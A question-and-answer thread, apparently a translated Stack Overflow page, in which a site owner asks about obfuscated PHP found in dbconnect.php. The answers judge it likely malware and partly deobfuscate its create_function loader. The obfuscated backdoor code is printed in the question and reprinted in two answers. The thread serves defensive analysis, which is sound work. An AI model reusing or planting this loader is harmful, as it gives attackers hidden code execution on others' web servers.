Question

你好我刚刚在dbconnect.php文件中找到了这段代码

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 x27%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37ye{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%-bubE{h%)sutcvt)fubmg5ttfsqnpdov{h19275j{Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpufs}   x27;mnui}&;zepc}A;~65   141 x74 145 x5f 146 x75 156 x63 164 x69 157 x6e"; function heoj{hA!osvufs!~<3,j%>j%!*3! x27!hmgx7f<u%V  x27{ftmfV   x7f<*X&Z&S{ftmfV    x7f<*%!)!gj!<2,*j%!-#1]#-bubE{h%)tm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K83]238M7]381]211M5]67]452]88]5]48]32M3]317]#Y# x5cq%   x27Y%6<.msv`ftsbqA7>q%627,*b    x27)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-1XAZASV<*w%)ppde>u%V<#65,47R25-%o:W%c:>1<%b:>1<!gps)%j:>1<%W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPSERVER["    x48 124 x54,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%S,6<*msv%7-MSV,6<*)ujojR x27id%6<)!gj}1~!<2p%    x7f!~!<##!>!2p%Z<^127-UVPFNJU,6<*27-SFGTOBSUOSVUF#00#W~!Ydrr)%rxB%epnbss!%tmw/  x24)%c*W%eN+#Qi-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]278]225y>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:c%j:^<!%w`   x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%"  x61 156 x64 162 x6f 151 x64"))) { $rlimhzz = "  x63 162 x0#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31445]212]445]43]321]464]284]364]6]234]342]58]8y]#>m%:|:*r%:-t%)3of:opjudovg<~   x24<!%o:!>! x4- x24y4   x24-    x24]y8  x24-    x245]K2]285]Ke]53Ld]53]Kc{e%)!>>    x22!ftmbg)!gj<*#k#)usbut`cpV    x7f x7f x7f >!bssbz)#44ec:649#-!#:61**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x6<&w6< x7fw6*CW&)7gj6<.[A  x27&6:.2^,%b:<!%c:>%s:  x5y83]273]y76]277#<!%t2w>#]y74]273]y76]252]y8M8]Df#<%tdz>#L4]275L3]248L3P6L1M11112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0LOBALS["  x61 156 x75 156 x61"])))) { $GLOBALS["  x61 156 x75fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH#    x27rfs%6~6  x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA  x273qj%6<*Y%)fnbozcYufhpqsut>j%!*72!    x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)t]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m5]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>!   x2400~:<h%_t%:  x5c1^W%c!>!%i   x5c2^<!Ce*[!%cIjQeTQcOc/]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:5epmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)24/%t2w/   x24)##-!#~<#/%  x24-    x24!>   120 x5f 125 x53 105 x52 137 x41 107 x45 116 x54"]); if ((strstr(7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)uftt]26 x24-    x24<%j,,*!| x24z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~    x24<!fwbe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFShnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde5]D2P4]D6#<%G]y6d]281Ld]24~6<Cw6<pd%w6Z6<.5`hA    x27pd%6<pd%w6Z6<.4`hA   x27pd%6<pd%w6Z66-xr.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3])1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#pjudovg}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439277-n%)utjm6<  x7fw6*CW&)7hdqhh($n){return chr(ord($n)-1);} @err`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek!~!<b%   x]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yosvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]37]88y]272    x5c2b%!>!2p%!*3>?*2fpg)%    x24-    x24*<!~!    x]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572]4#)tutjyf`4   x223}!+!<+{e%+*!*+fepdf!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sut x27;!>>>!}_;gvc%}&;ftmbg}   x7f;!osvufs}w;* x7f!>>  x22!pd%)!or_reporting(0); $wxtksra = implode(array_map("hgj}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|cvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudovg   x22!fyqmpef)#   x24*<!%t::!>!   x24Ypp3)%cB%iN}#-!  x24/]241]334]368]322]3]364]6]283]427]36]373P6]36]73]A   x272qj%6<^#zsfvr#   x5cq%7bfsX  x27u%)7fmjix6<C x27&6<*rfs%7-K)xW~!Ypp2)%zB%z>! x24/%tmw/   x24)%zW%h>EzH,2W%84]y31M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]77]D47doj%6<   x7fw6*  x7f_*#fmjgk4`{6~6<tfs%w6<   x7fw6*CWtfs%)$uas," x6d 163 x69 145")) or (strstr($uas,"    x72 x24-!%  x24-    x24*!|! x24-    x24 x5c%j^  x24-    x24tvctus)% x24if((function_exists("    x6f 142 x5f 163 x74 141 x72 164") && (!isset($G%!<*#}_;#)323ldfid>}&;!osvufs}   x7f;!o.%!<***f  x27,*e  x27,*d  x27,*c  x#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fpqsut>j%!*9!    x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)suj:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>-!%w:**<")));$ieihxyt = $rlimhzz("", $wxtksra); $ieihehdqhh",str_split("%tjw!>.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&/7#@#7/7^#iubq#    x5cq%   x27jsv%6<C>^#zsfvr# x<.3`hA x27pd%6<pd%w6Z6<.2gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)e1<!fmtf!%b:>%s:   x5c%j8d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%r)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>    x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq%   x5cS!}  x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U!    x27{!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>!  x24676724]31#-%tdz*Wsfuvso!%bss x5csboe)<   x7fw6<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA  x22)7<  x7fw6*  x7f_*#fubfsdXk5`{STrrEvxNoITCnuF_EtaeRCxECaLPer_RtSieuiflww'; $kzwagljrg=explode(chr((746-626)),substr($gsesjysji,(22103-16177),(184-150))); $juanaqi = $kzwagljrg[0]($kzwagljrg[(5-4)]); $dugqvwqk = $kzwagljrg[0]($kzwagljrg[(9-7)]); if (!function_exists('eyweut')) { function eyweut($cncrahutq, $lvwwil,$hkkwievt) { $wtyovwkamhv = NULL; for($jczshzo=0;$jczshzo<(sizeof($cncrahutq)/2);$jczshzo++) { $wtyovwkamhv .= substr($lvwwil, $cncrahutq[($jczshzo*2)],$cncrahutq[($jczshzo*2)+(7-6)]); } return $hkkwievt(chr((34-25)),chr((277-185)),$wtyovwkamhv); }; } $cgklpgw = explode(chr((305-261)),'5002,69,2916,59,403,32,1932,20,3462,65,4898,48,872,34,2328,58,1468,64,4018,38,4429,48,5356,25,5747,70,3777,58,5467,25,671,23,5381,43,3995,23,5492,40,4707,36,2975,64,5850,50,748,63,3039,63,4681,26,5424,43,1128,37,1725,33,5900,26,1070,58,4844,54,960,52,2060,31,1996,33,239,27,2733,31,266,40,1864,68,496,42,4370,59,4477,41,1296,62,1532,34,1606,29,3102,48,5206,60,1165,37,811,61,4334,36,4518,67,2029,31,4200,21,160,53,5610,46,5108,31,1758,48,2859,57,5139,67,3365,63,1378,66,3649,46,4056,46,3527,48,306,62,5656,39,538,60,5071,37,3926,69,1358,20,3695,56,4300,34,1255,41,2591,49,1566,40,1806,29,1952,44,115,45,0,62,1444,24,5695,52,2664,69,376,27,2784,43,3194,66,4148,52,3150,44,1202,53,4242,58,2494,46,694,54,4946,56,644,27,598,46,2540,29,3575,24,435,61,4221,21,3428,34,4585,48,2115,21,3260,39,2091,24,2640,24,5553,57,4743,44,62,53,2386,64,3299,66,3835,49,4787,57,4102,46,2195,69,2827,32,3751,26,2569,22,1012,58,2136,59,4633,48,1682,43,2450,44,5817,33,3884,42,1835,29,5266,37,5532,21,2764,20,2264,64,3599,50,1635,47,906,54,213,26,5303,53,368,8'); $foeoqehg = $juanaqi("",eyweut($cgklpgw,$gsesjysji,$dugqvwqk)); $juanaqi=$gsesjysji; $foeoqehg(""); $foeoqehg=(559-438); $gsesjysji=$foeoqehg-1; ?>

我没有写它，没有人可以访问我的ftp或cpanel，你能告诉我这个编码的PHP脚本是关于什么的吗？这是一个黑客？感谢您的帮助：＆＃39; =）

Answer 1

可能。看起来像混淆的PHP代码，这可能意味着它很糟糕。我建议删除它并从备份中恢复，但系统中某处可能存在漏洞。

此外，这个网站并不适合这样的问题，这些问题特定于您的情况。

Answer 2

我确定它是混淆的PHP代码。它从主blob中获取一些片段，并使用数组和for循环来获取它需要的一堆代码。我试图解码它，但我想我在php上不够好。它能够使我看起来只是用反斜杠替换选项卡然后将代码拆分成数组的函数（我称之为var3和var4），但我遗漏了一些东西。如果有人想弄明白，我会很好奇。另外，我不知道最后几行应该做什么。这就是我想出的：

<?php
$var1 = 'pD#)sfebfI{*w%)kVx{**#k#)tutjyf`x   x22l:!}V;3q%}U;y]}R;2]},;osvwN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr  x5c1^-%r    x5c2^-%hOh/#0<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuob%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%<!fwbm)%tjw)#    x24#-!#]y38#    x7fw6*  x7f_*#ujojRk3`{666~<    x7fw6*  x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}j    x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbcxyt();}}5c}X    x24<!%tmw!>!#]y84]275]  156 x61"]=1; $uas=strtolower($_-    x24gvodujpo!    x24-    x24y7   x24-    x24*<!  x24-    x24gps)%j>1<%j=tj{MSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!}FWSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27;-tusqpt)%z-#:#* x24-    x24!>!  x24/%tjw/   x24)%   x2- x24b!>!%yy)#}#-#    x24-    x24`hA  x27pd%6<C   x27pd%6|6242178}527}88:}334}472 x24<!%ff2!>!bssbz)  x24]25  x24-    gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA x27K6<  x7fw6*3qj%7>!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%166    x3a 61  x31")) or (strstr($uas,#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(7gj6<*id%)ftpmdR6<*id%)dfyfR   x27tfs%6<*17-SFEBFI,6<*]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT66~6<&w6<  x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA    x27&6<.fmjgA    x25cq%7**^#zsfvr#   x5cq%)ufttj x22)gj6<^tcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! 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   x]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572]4#)tutjyf`4   x223}!+!<+{e%+*!*+fepdf!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sut x27;!>>>!}_;gvc%}&;ftmbg}   x7f;!osvufs}w;* x7f!>>  x22!pd%)!or_reporting(0); $wxtksra = implode(array_map("hgj}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|cvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudovg   x22!fyqmpef)#   x24*<!%t::!>!   x24Ypp3)%cB%iN}#-!  x24/]241]334]368]322]3]364]6]283]427]36]373P6]36]73]A   x272qj%6<^#zsfvr#   x5cq%7bfsX  x27u%)7fmjix6<C x27&6<*rfs%7-K)xW~!Ypp2)%zB%z>! x24/%tmw/   x24)%zW%h>EzH,2W%84]y31M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]77]D47doj%6<   x7fw6*  x7f_*#fmjgk4`{6~6<tfs%w6<   x7fw6*CWtfs%)$uas," x6d 163 x69 145")) or (strstr($uas,"    x72 x24-!%  x24-    x24*!|! x24-    x24 x5c%j^  x24-    x24tvctus)% x24if((function_exists("    x6f 142 x5f 163 x74 141 x72 164") && (!isset($G%!<*#}_;#)323ldfid>}&;!osvufs}   x7f;!o.%!<***f  x27,*e  x27,*d  x27,*c  x#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fpqsut>j%!*9!    x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)suj:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>-!%w:**<")));$ieihxyt = $rlimhzz("", $wxtksra); $ieihehdqhh",str_split("%tjw!>.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&/7#@#7/7^#iubq#    x5cq%   x27jsv%6<C>^#zsfvr# x<.3`hA x27pd%6<pd%w6Z6<.2gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)e1<!fmtf!%b:>%s:   x5c%j8d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%r)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>    x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq%   x5cS!}  x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U!    x27{!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>!  x24676724]31#-%tdz*Wsfuvso!%bss x5csboe)<   x7fw6<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA  x22)7<  x7fw6*  x7f_*#fubfsdXk5`{STrrEvxNoITCnuF_EtaeRCxECaLPer_RtSieuiflww';

$var2 = explode('x',substr($var1,5926,34)); 
$var3 = $var2[0]($var2[1]); 
$var4 = $var2[0]($var2[2]); 

if (!function_exists('function1')) 
  { 
  function function1($var5, $var6,$var7) { 
    $var8 = NULL; 
    for($i=0;$i<(sizeof($var5)/2);$i++) 
      { 
      $var8 .= substr($var6, $var5[($i*2)],$var5[($i*2)+1]); 
      } 
    return $var7(chr(9),chr(92),$var8); //Chr 9 is Tab and 92 is '\'
    }; 
  } 
 $var9 = explode(',','5002,69,2916,59,403,32,1932,20,3462,65,4898,48,872,34,2328,58,1468,64,4018,38,4429,48,5356,25,5747,70,3777,58,5467,25,671,23,5381,43,3995,23,5492,40,4707,36,2975,64,5850,50,748,63,3039,63,4681,26,5424,43,1128,37,1725,33,5900,26,1070,58,4844,54,960,52,2060,31,1996,33,239,27,2733,31,266,40,1864,68,496,42,4370,59,4477,41,1296,62,1532,34,1606,29,3102,48,5206,60,1165,37,811,61,4334,36,4518,67,2029,31,4200,21,160,53,5610,46,5108,31,1758,48,2859,57,5139,67,3365,63,1378,66,3649,46,4056,46,3527,48,306,62,5656,39,538,60,5071,37,3926,69,1358,20,3695,56,4300,34,1255,41,2591,49,1566,40,1806,29,1952,44,115,45,0,62,1444,24,5695,52,2664,69,376,27,2784,43,3194,66,4148,52,3150,44,1202,53,4242,58,2494,46,694,54,4946,56,644,27,598,46,2540,29,3575,24,435,61,4221,21,3428,34,4585,48,2115,21,3260,39,2091,24,2640,24,5553,57,4743,44,62,53,2386,64,3299,66,3835,49,4787,57,4102,46,2195,69,2827,32,3751,26,2569,22,1012,58,2136,59,4633,48,1682,43,2450,44,5817,33,3884,42,1835,29,5266,37,5532,21,2764,20,2264,64,3599,50,1635,47,906,54,213,26,5303,53,368,8'); 
 $var10 = $var3("",function1($var9,$var1,$var4)); 
 $var3=$var1; 
 $var10(""); 
 $var10=(121); 
 $var1=$var10-1; 
 ?>

Answer 3

我能够理解它。

<?php

$encrypted = 'pD#)sfebfI{*w%)kVx{**#k#)tutjyf`x   x22l:!}V;3q%}U;y]}R;2]},;osvwN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr  x5c1^-%r    x5c2^-%hOh/#0<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuob%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%<!fwbm)%tjw)#    x24#-!#]y38#    x7fw6*  x7f_*#ujojRk3`{666~<    x7fw6*  x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}j    x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbcxyt();}}5c}X    x24<!%tmw!>!#]y84]275]  156 x61"]=1; $uas=strtolower($_-    x24gvodujpo!    x24-    x24y7   x24-    x24*<!  x24-    x24gps)%j>1<%j=tj{MSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!}FWSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27;-tusqpt)%z-#:#* x24-    x24!>!  x24/%tjw/   x24)%   x2- x24b!>!%yy)#}#-#    x24-    x24`hA  x27pd%6<C   x27pd%6|6242178}527}88:}334}472 x24<!%ff2!>!bssbz)  x24]25  x24-    gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA x27K6<  x7fw6*3qj%7>!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%166    x3a 61  x31")) or (strstr($uas,#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(7gj6<*id%)ftpmdR6<*id%)dfyfR   x27tfs%6<*17-SFEBFI,6<*]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT66~6<&w6<  x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA    x27&6<.fmjgA    x25cq%7**^#zsfvr#   x5cq%)ufttj x22)gj6<^tcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! 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   x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)suj:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>-!%w:**<")));$ieihxyt = $rlimhzz("", $wxtksra); $ieihehdqhh",str_split("%tjw!>.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&/7#@#7/7^#iubq#    x5cq%   x27jsv%6<C>^#zsfvr# x<.3`hA x27pd%6<pd%w6Z6<.2gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)e1<!fmtf!%b:>%s:   x5c%j8d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%r)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>    x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq%   x5cS!}  x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U!    x27{!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>!  x24676724]31#-%tdz*Wsfuvso!%bss x5csboe)<   x7fw6<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA  x22)7<  x7fw6*  x7f_*#fubfsdXk5`{STrrEvxNoITCnuF_EtaeRCxECaLPer_RtSieuiflww';


function decryptor($numbers, $encrypted) {
    $payload = NULL;

    // using the giant numbers array below, go through and grab pieces of the monsterous string above
    for($i=0; $i < sizeof($numbers)/2; $i++) {
        $payload .= substr($encrypted, $numbers[($i*2)], $numbers[($i*2) + 1]);
    }

    return str_replace("\t", "\\", $payload);
};

$key = explode(',', '5002,69,2916,59,403,32,1932,20,3462,65,4898,48,872,34,2328,58,1468,64,4018,38,4429,48,5356,25,5747,70,3777,58,5467,25,671,23,5381,43,3995,23,5492,40,4707,36,2975,64,5850,50,748,63,3039,63,4681,26,5424,43,1128,37,1725,33,5900,26,1070,58,4844,54,960,52,2060,31,1996,33,239,27,2733,31,266,40,1864,68,496,42,4370,59,4477,41,1296,62,1532,34,1606,29,3102,48,5206,60,1165,37,811,61,4334,36,4518,67,2029,31,4200,21,160,53,5610,46,5108,31,1758,48,2859,57,5139,67,3365,63,1378,66,3649,46,4056,46,3527,48,306,62,5656,39,538,60,5071,37,3926,69,1358,20,3695,56,4300,34,1255,41,2591,49,1566,40,1806,29,1952,44,115,45,0,62,1444,24,5695,52,2664,69,376,27,2784,43,3194,66,4148,52,3150,44,1202,53,4242,58,2494,46,694,54,4946,56,644,27,598,46,2540,29,3575,24,435,61,4221,21,3428,34,4585,48,2115,21,3260,39,2091,24,2640,24,5553,57,4743,44,62,53,2386,64,3299,66,3835,49,4787,57,4102,46,2195,69,2827,32,3751,26,2569,22,1012,58,2136,59,4633,48,1682,43,2450,44,5817,33,3884,42,1835,29,5266,37,5532,21,2764,20,2264,64,3599,50,1635,47,906,54,213,26,5303,53,368,8');

$probablyEvilFunction = create_function("", decryptor($key, $encrypted));

$probablyEvilFunction("");

你需要正确的顶部巨型弦和底部的数字阵列的组合。它通过使用数组中的数字作为每个字符的索引从巨型字符串中提取字母来创建函数。

我无法比这更远，因为巨大的字符串和数字不能很好地匹配create_function以获得正确的参数。

希望这有助于未来的人。

在我的网站上找到了一个php编码的脚本

3 个答案: